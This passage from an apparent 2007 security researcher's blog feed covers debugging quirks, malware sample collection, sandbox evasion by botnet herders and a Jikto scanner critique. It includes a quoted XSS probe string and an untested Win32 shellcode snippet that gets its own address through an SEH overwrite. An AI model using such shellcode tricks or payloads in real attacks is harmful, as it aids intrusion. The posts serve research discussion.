&lt;/script&gt;&lt;img width='1' height='1' src='//blogger.googleusercontent.com/tracker/35193323-8931353460230569018?l=blog.oxff.net%2Findex.html'/&gt;&lt;/div&gt;</description><link>http://blog.oxff.net/2007/12/spam-please.html</link><author>noreply@blogger.com (oxff)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-35193323.post-8674188586822045383</guid><pubDate>Thu, 27 Sep 2007 17:00:00 +0000</pubDate><atom:updated>2007-09-27T19:12:18.953+02:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>assembly</category><title>REP(N)Z and the EFLAGS</title><description>&lt;p&gt;Working on some debugger like automation code for &lt;a href="http://www.emsisoft.com/"&gt;EmsiSoft&lt;/a&gt;, I recently discovered a funny property when single stepping &lt;code&gt;REPNZ&lt;/code&gt; prefixed &lt;code&gt;SCAS&lt;/code&gt; and &lt;code&gt;CMPS&lt;/code&gt; instructions using the &lt;code&gt;TF&lt;/code&gt; bit set in &lt;i&gt;EFLAGS&lt;/i&gt;. As expected, for each single byte / word / doubleword, a debug event occurs. However, the &lt;i&gt;EFLAGS&lt;/i&gt; register's status bits (e.g. &lt;code&gt;ZF&lt;/code&gt;) are not  correct for each single iteration but the last.&lt;/p&gt;

&lt;p&gt;I tested this in Windows XP in a VmWare, didn't have the time to reproduce on a physical machine yet. Let me know if you run over this quirk, too.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;
&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-688266-2";
urchinTracker();
&lt;/script&gt;&lt;img width='1' height='1' src='//blogger.googleusercontent.com/tracker/35193323-8674188586822045383?l=blog.oxff.net%2Findex.html'/&gt;&lt;/div&gt;</description><link>http://blog.oxff.net/2007/09/repnz-and-eflags.html</link><author>noreply@blogger.com (oxff)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>1</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-35193323.post-4717722722597730098</guid><pubDate>Tue, 11 Sep 2007 11:19:00 +0000</pubDate><atom:updated>2007-09-11T13:20:12.743+02:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>personal</category><category domain='http://www.blogger.com/atom/ns#'>it-biz</category><title>My ISP Blocks YouPorn</title><description>&lt;p&gt;Arcor, my home ISP, yesterday &lt;a href="http://www.heise.de/english/newsticker/news/95804"&gt;started  blocking YouPorn&lt;/a&gt;. Welcome to China!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;
&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-688266-2";
urchinTracker();
&lt;/script&gt;&lt;img width='1' height='1' src='//blogger.googleusercontent.com/tracker/35193323-4717722722597730098?l=blog.oxff.net%2Findex.html'/&gt;&lt;/div&gt;</description><link>http://blog.oxff.net/2007/09/my-isp-blocks-youporn.html</link><author>noreply@blogger.com (oxff)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-35193323.post-4862222556417291554</guid><pubDate>Thu, 30 Aug 2007 12:34:00 +0000</pubDate><atom:updated>2007-08-30T14:42:28.121+02:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>alliance</category><title>Alliance Public Submissions</title><description>&lt;p&gt;You can now &lt;a href="https://alliance.mwcollect.org/public/upload"&gt;upload your samples to the Alliance&lt;/a&gt; manually, without being a member of the &lt;a href="https://alliance.mwcollect.org/"&gt;mwcollect Alliance&lt;/a&gt;. Submissions are correlated with automatically collected samples:&lt;/p&gt;

&lt;a href="http://img356.imageshack.us/my.php?image=alliancemn1.png"&gt;&lt;img src="http://img356.imageshack.us/img356/3756/alliancemn1.th.png" border="0" alt="interface" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;
&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-688266-2";
urchinTracker();
&lt;/script&gt;&lt;img width='1' height='1' src='//blogger.googleusercontent.com/tracker/35193323-4862222556417291554?l=blog.oxff.net%2Findex.html'/&gt;&lt;/div&gt;</description><link>http://blog.oxff.net/2007/08/alliance-public-submissions.html</link><author>noreply@blogger.com (oxff)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-35193323.post-1233817219962788908</guid><pubDate>Tue, 28 Aug 2007 09:20:00 +0000</pubDate><atom:updated>2007-08-28T11:28:06.652+02:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>malware</category><category domain='http://www.blogger.com/atom/ns#'>botnets</category><category domain='http://www.blogger.com/atom/ns#'>alliance</category><title>Anubis Sandbox Becoming Useless</title><description>&lt;p&gt;Doing mostly botnet research with the samples we obtain through the &lt;a href="https://alliance.mwcollect.org/"&gt;mwcollect Alliance&lt;/a&gt;, the most interesting thing in the &lt;a href="http://analysis.seclab.tuwien.ac.at/index.php"&gt;Anubis sandbox&lt;/a&gt; reports for me were the network traces. Following the lame ``run the binary in a VM, hooking all interesting APIs'' the Anubis sandbox has to really connect to the C&amp;C server in order to get to know channel names, keys, etc.&lt;/p&gt;

&lt;p&gt;The big problem here is, that the public online submission interface analysis machine all run on static IPs, not utilizing proxies and even worse -- having a valid reverse DNS entry pointing to Anubis. In the end, this made most ``advanced'' herders block the Anubis sandbox, as can be seen from &lt;a href="http://analysis.seclab.tuwien.ac.at/result.php?taskid=7a755efc8e75dc2419b1b2591ebaf4ea#id1658243"&gt;this exemplary report&lt;/a&gt; (search for ``ERROR :Closing'').&lt;/p&gt;

&lt;p&gt;Time to finally finish my own sandboxing stuff... not relying on the remote connection but on statical behavioural analysis with &lt;i&gt;some&lt;/i&gt; emulation (packers, self-modifying code, ...).&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;
&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-688266-2";
urchinTracker();
&lt;/script&gt;&lt;img width='1' height='1' src='//blogger.googleusercontent.com/tracker/35193323-1233817219962788908?l=blog.oxff.net%2Findex.html'/&gt;&lt;/div&gt;</description><link>http://blog.oxff.net/2007/08/anubis-sandbox-becoming-useless.html</link><author>noreply@blogger.com (oxff)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-35193323.post-2231589107993262641</guid><pubDate>Fri, 13 Jul 2007 10:50:00 +0000</pubDate><atom:updated>2007-07-13T13:04:43.429+02:00</atom:updated><title>Speaking at DeepSec and Winning CIPHER-CTF</title><description>&lt;p&gt;The mwcollect.org Team `teamSparta', in which I participated as well, made the first place in the &lt;a href="http://www.cipher-ctf.org:/"&gt;CIPHER CTF Contest&lt;/a&gt;. Yay!&lt;/p&gt;

&lt;p&gt;I'll be speaking on &lt;a href="http://deepsec.net/speakers/#georg-wicherski"&gt;DeepSec 2007&lt;/a&gt; in Nov in Vienna, Austria.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;
&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-688266-2";
urchinTracker();
&lt;/script&gt;&lt;img width='1' height='1' src='//blogger.googleusercontent.com/tracker/35193323-2231589107993262641?l=blog.oxff.net%2Findex.html'/&gt;&lt;/div&gt;</description><link>http://blog.oxff.net/2007/07/speaking-at-deepsec-and-winning-cipher.html</link><author>noreply@blogger.com (oxff)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-35193323.post-2230881012594535725</guid><pubDate>Fri, 08 Jun 2007 16:14:00 +0000</pubDate><atom:updated>2007-06-08T18:17:13.588+02:00</atom:updated><title>Wikipedia and Public Media explaining Botnets</title><description>&lt;p&gt;(All German):

&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.searchnetworking.de/themenkanaele/netzwerksicherheit/bedrohungenundattacken/articles/46992/"&gt;http://www.searchnetworking.de/...&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.computerwoche.de/index.cfm?pid=332&amp;pk=557828"&gt;http://www.computerwoche.de/...&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://de.wikipedia.org/wiki/Botnet"&gt;http://de.wikipedia.org/wiki/Botnet&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

There is still so much wrong information about botnets out there. These people suck as reporters (as most reporters do).
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;
&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-688266-2";
urchinTracker();
&lt;/script&gt;&lt;img width='1' height='1' src='//blogger.googleusercontent.com/tracker/35193323-2230881012594535725?l=blog.oxff.net%2Findex.html'/&gt;&lt;/div&gt;</description><link>http://blog.oxff.net/2007/06/wikipedia-and-public-media-explaining.html</link><author>noreply@blogger.com (oxff)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-35193323.post-5139179085334171498</guid><pubDate>Fri, 25 May 2007 15:24:00 +0000</pubDate><atom:updated>2007-05-25T17:26:12.830+02:00</atom:updated><title>Malware Paragraph in German Laws</title><description>&lt;p&gt;They finally criminalized any serious IT security penetration tester and the people developing the tools for them in my home country, Germany! Hail Zypries and all the other Internet nazis! \o&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;
&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-688266-2";
urchinTracker();
&lt;/script&gt;&lt;img width='1' height='1' src='//blogger.googleusercontent.com/tracker/35193323-5139179085334171498?l=blog.oxff.net%2Findex.html'/&gt;&lt;/div&gt;</description><link>http://blog.oxff.net/2007/05/malware-paragraph-in-german-laws.html</link><author>noreply@blogger.com (oxff)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-35193323.post-4650613065773382316</guid><pubDate>Mon, 21 May 2007 17:56:00 +0000</pubDate><atom:updated>2007-05-21T20:01:08.380+02:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>malware</category><category domain='http://www.blogger.com/atom/ns#'>alliance</category><title>mwcollect Alliance Webinterface</title><description>&lt;p&gt;We're still working on the mwcollect Alliance Webinterface, but already got some really nice stuff. The people from the &lt;a href="http://analysis.seclab.tuwien.ac.at/features.php"&gt;Anubis Sandbox&lt;/a&gt; were so kind to provide us with a closed submission interface, so we can automatically upload new samples and link to them.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://img451.imageshack.us/my.php?image=alliancehl6.png"&gt;&lt;img  src="http://img451.imageshack.us/img451/9859/alliancehl6.th.png" style="margin: auto;" alt="mwcollect Alliance" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;
&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-688266-2";
urchinTracker();
&lt;/script&gt;&lt;img width='1' height='1' src='//blogger.googleusercontent.com/tracker/35193323-4650613065773382316?l=blog.oxff.net%2Findex.html'/&gt;&lt;/div&gt;</description><link>http://blog.oxff.net/2007/05/mwcollect-alliance-webinterface.html</link><author>noreply@blogger.com (oxff)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-35193323.post-2606090248046795857</guid><pubDate>Thu, 12 Apr 2007 17:00:00 +0000</pubDate><atom:updated>2007-04-12T19:06:10.684+02:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>botnets</category><title>oxff Inc. -- Bragging Redefined</title><description>&lt;p&gt;I count at least five of nine papers from &lt;a href="http://www.usenix.org/events/hotbots07/tech/"&gt;HotBots&lt;/a&gt; referencing at least one paper, I have had my hands involved in.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;
&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-688266-2";
urchinTracker();
&lt;/script&gt;&lt;img width='1' height='1' src='//blogger.googleusercontent.com/tracker/35193323-2606090248046795857?l=blog.oxff.net%2Findex.html'/&gt;&lt;/div&gt;</description><link>http://blog.oxff.net/2007/04/oxff-inc-bragging-redefined.html</link><author>noreply@blogger.com (oxff)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>1</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-35193323.post-9109500915196439672</guid><pubDate>Sat, 07 Apr 2007 09:27:00 +0000</pubDate><atom:updated>2007-04-07T11:44:47.261+02:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>malware</category><category domain='http://www.blogger.com/atom/ns#'>it-biz</category><title>Jikto Hype</title><description>&lt;p&gt;After not posting for quite some time, I've got something to say again.&lt;/p&gt;

&lt;p&gt;Recently, the Jikto `Javascript Drone' was hyped a lot in different media; the usual ``OMG t3h Internet is l0st'' we see at least once each year. I just had a look at Jikto's code, which was leaked the day after Jikto was presented on ShmooCon. It's totally ridiculous, it's using XMLHttpRequests to spider web-pages and tries finding `.old' and `.bak' files on these servers bug bruteforcing every found file. Additionally, it features a very false positive prone XSS scanner.&lt;/p&gt;

&lt;p&gt;This XSS scanner injects &amp;lt;script&amp;gt;alert('xss');&amp;lt;/script&amp;gt; into every GET parameter and just parses for `script' in the response. If the brackets are properly escaped, we still get our false positive. How &lt;i&gt;enterprise&lt;/i&gt;.&lt;/p&gt;

&lt;p&gt;Another wrong rumor is, that this code turns your computer or your browser into a drone. It's just yet another non-resident script. Additionally, because of the XMLHttpRequests, you're limited to your own domain to scan (unless you find a cool vulnerability in your browser or already know a XSS in the target site to inject Jikto).&lt;/p&gt;

&lt;p&gt;All in all, this is just some hyped, lame, &lt;i&gt;proof of concept&lt;/i&gt; script, if you ask me. :/&lt;/p&gt;

&lt;p&gt;&lt;b&gt;Update:&lt;/b&gt;&lt;br /&gt;
&lt;a href="http://www.computerwoche.de/nachrichten/590894/?ILC-RSSFEED&amp;feed=590894%20rssnews"&gt;One of my favourite hypes&lt;/a&gt; regarding Jikto says ``the hacker tool Jikto is spreading uncontrolled'' and ``the script captures computers of clueless Internet users to perform a &lt;i&gt;portscan&lt;/i&gt;''; ``security experts are afraid that blackhats could misuse the extremely dangerous potential of this software''.&lt;/p&gt;

&lt;p&gt;Botnets? No real threat, not interesting to the media... Hey, there is already a cool botnet monitoring tool from Microsoft, featuring a laggy GUI and dieing if more than 2k nets are monitored. Hey, subfolders for each botnet are cool.&lt;br /&gt;
Seriously, let's just all commit suicide in such an IT security world. :/&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;
&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-688266-2";
urchinTracker();
&lt;/script&gt;&lt;img width='1' height='1' src='//blogger.googleusercontent.com/tracker/35193323-9109500915196439672?l=blog.oxff.net%2Findex.html'/&gt;&lt;/div&gt;</description><link>http://blog.oxff.net/2007/04/jikto-hype.html</link><author>noreply@blogger.com (oxff)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-35193323.post-142492777182331705</guid><pubDate>Tue, 06 Mar 2007 09:19:00 +0000</pubDate><atom:updated>2007-03-06T10:27:10.404+01:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>malware</category><category domain='http://www.blogger.com/atom/ns#'>it-biz</category><title>New Sandbox Application on the Horizon</title><description>&lt;p&gt;A new sandbox application has poppep up on the net: &lt;a href="http://www.joebox.org/"&gt;JoeBox&lt;/a&gt;. Of course it uses its own ``unique special &lt;a href="http://www.joebox.org/concept.php"&gt;concept&lt;/a&gt;''; the same unique special concept we were seeing in &lt;a href="http://www.cwsandbox.org/"&gt;CWSandbox&lt;/a&gt; and some other private tools before.&lt;/p&gt;
&lt;p&gt;It uses the same old userland API hooking tricks, everybody else seems to be using &lt;i&gt;but&lt;/i&gt; this one runs on a physical machine and not in a virtual machine. Let's hope there is at least one bigger difference: this one could be free. But in the age of every company registering .org's like crazy, this will probably stay a dream.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;
&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-688266-2";
urchinTracker();
&lt;/script&gt;&lt;img width='1' height='1' src='//blogger.googleusercontent.com/tracker/35193323-142492777182331705?l=blog.oxff.net%2Findex.html'/&gt;&lt;/div&gt;</description><link>http://blog.oxff.net/2007/03/new-sandbox-application-on-horizon.html</link><author>noreply@blogger.com (oxff)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-35193323.post-4131488857633444838</guid><pubDate>Tue, 27 Feb 2007 01:45:00 +0000</pubDate><atom:updated>2007-02-27T03:06:04.149+01:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>personal</category><category domain='http://www.blogger.com/atom/ns#'>cooking</category><title>Dinner for Five</title><description>&lt;p&gt;Last Saturday, my mother and me (visiting at her during the weekend) got guests: &lt;a href="http://myblog.de/me-j8806/"&gt;Janine&lt;/a&gt;'s parents and herself were coming over for some nice dinner. &lt;a href="http://flickr.com/photos/oxff/sets/72157594555389522/detail/"&gt;Some photos&lt;/a&gt; are available.&lt;/p&gt;

&lt;p&gt;&lt;b&gt;Entry:&lt;/b&gt; `Stremel Lachs'&lt;br /&gt;
Make some simple &lt;a href="http://en.wikipedia.org/wiki/Guacamole"&gt;Guacamole&lt;/a&gt; based of Avocado: Mix the squashed Avocado with lemon juice and salt, that's it. Serve the raw salmon filet with the Guacamole and some baguette, offer a twist of lemon optionally to the salmon.&lt;/p&gt;

&lt;p&gt;&lt;b&gt;Main Course:&lt;/b&gt; `Rindersteak an Haricot-Verde, Rosmarienkartoffeln'&lt;br /&gt;
Fry the steak in a very hot pan in olive oil, but not too long, so it's medium. Cook string beans and roll them into bacon, fry these little packs in a pan. Cook potatoes in the skin, remove the skin and bake them with rosemary and olive oil in the oven. Serve all together with a sauce based on  the steak's brew, cream and a little bit of smokey BBQ sauce (thanks Ryan!).&lt;/p&gt;

&lt;p&gt;&lt;b&gt;Dessert:&lt;/b&gt; `Tiramisu'&lt;br /&gt;
The nice Italian desert, don't ask me for a recipe -- I didn't do it and I don't know how to! &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;
&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-688266-2";
urchinTracker();
&lt;/script&gt;&lt;img width='1' height='1' src='//blogger.googleusercontent.com/tracker/35193323-4131488857633444838?l=blog.oxff.net%2Findex.html'/&gt;&lt;/div&gt;</description><link>http://blog.oxff.net/2007/02/dinner-for-four.html</link><author>noreply@blogger.com (oxff)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-35193323.post-5028024309718609914</guid><pubDate>Fri, 23 Feb 2007 18:08:00 +0000</pubDate><atom:updated>2007-02-23T19:17:32.446+01:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>malware</category><category domain='http://www.blogger.com/atom/ns#'>assembly</category><title>Get EIP with SEH</title><description>&lt;p&gt;While talking about shellcode detection with &lt;a href="http://nepenthes.mwcollect.org/"&gt;Paul and Markus&lt;/a&gt;, I remembered some SEH based code I've written some time ago for some code to be position  independent (and obfuscated). Unfortunately, I couldn't find the original source anymore but wrote up, what I remembered (and didn't test it):&lt;/p&gt;

&lt;p&gt;&lt;small&gt;&lt;b&gt;Snippet 1: Custom Handler&lt;/b&gt;&lt;/small&gt;
&lt;code&gt;&lt;pre&gt;mov eax, [esp+0x10]
mov eax, [eax+0x0c]
push eax
jmp eax&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;small&gt;&lt;b&gt;Snippet 2: SEH Overwrite&lt;/b&gt;&lt;/small&gt;
&lt;code&gt;&lt;pre&gt;mov edi, [fs:0]
mov edi, [edi+4]
mov [edi+0], 0x448b6766
mov [edi+4], 0x67661024
mov [edi+8], 0x660c408b
mov [edi+12], 0xe0ff6650
 
xor eax, eax
xor [eax], eax
 
pop eax&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Basically, the second snippet fetches the address of the current top-most SEH, overwrites it with the binary version of the first snippet and triggers a general protection fault. The address is then popped. Of course, this only works on Win32.&lt;/p&gt;

&lt;p&gt;At the time I `invented' that code, I didn't have any reference for such code ITW. But I'm pretty sure, I'm not the first one to have that idea (although a quick Google run didn't reveal anything to me).&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;script src="http://www.google-analytics.com/urchin.js" type="text/javascript"&gt;
&lt;/script&gt;
&lt;script type="text/javascript"&gt;
_uacct = "UA-688266-2";
urchinTracker();
&lt;/script&gt;&lt;img width='1' height='1' src='//blogger.googleusercontent.com/tracker/35193323-5028024309718609914?l=blog.oxff.net%2Findex.html'/&gt;&lt;/div&gt;</description><link>http://blog.oxff.net/2007/02/get-eip-with-seh.html</link><author>noreply@blogger.com (oxff)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item></channel></rss>